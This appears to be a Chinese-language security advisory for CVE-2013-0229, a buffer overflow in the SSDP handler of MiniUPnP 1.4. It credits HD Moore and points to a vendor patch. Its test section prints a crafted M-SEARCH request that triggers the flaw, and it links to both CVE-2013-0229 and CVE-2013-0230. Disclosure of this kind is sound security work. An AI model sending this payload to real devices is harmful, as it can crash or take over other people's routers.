发布日期：2013-01-28
更新日期：2013-02-05

受影响系统：

MiniUPnP MiniUPnP 1.4

描述：

---

BUGTRAQ  ID: 57607
CVE(CAN) ID: CVE-2013-0229

MiniUPnP是UPnP协议的一个开源实现。

MiniUPnP 1.4及其他版本的SSDP处理程序，在minissdp.c的ProcessSSDPRequest函数内存在安全漏洞，通过特制的请求触发缓冲区溢出，可导致拒绝服务甚至执行任意代码。

<*来源：HD Moore
  
  链接：https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play
        http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0230
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:MX:3&lt; no CRLF &gt;

建议：

---

厂商补丁：

MiniUPnP
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://miniupnp.free.fr/

浏览次数：4453
严重程度：0（网友投票）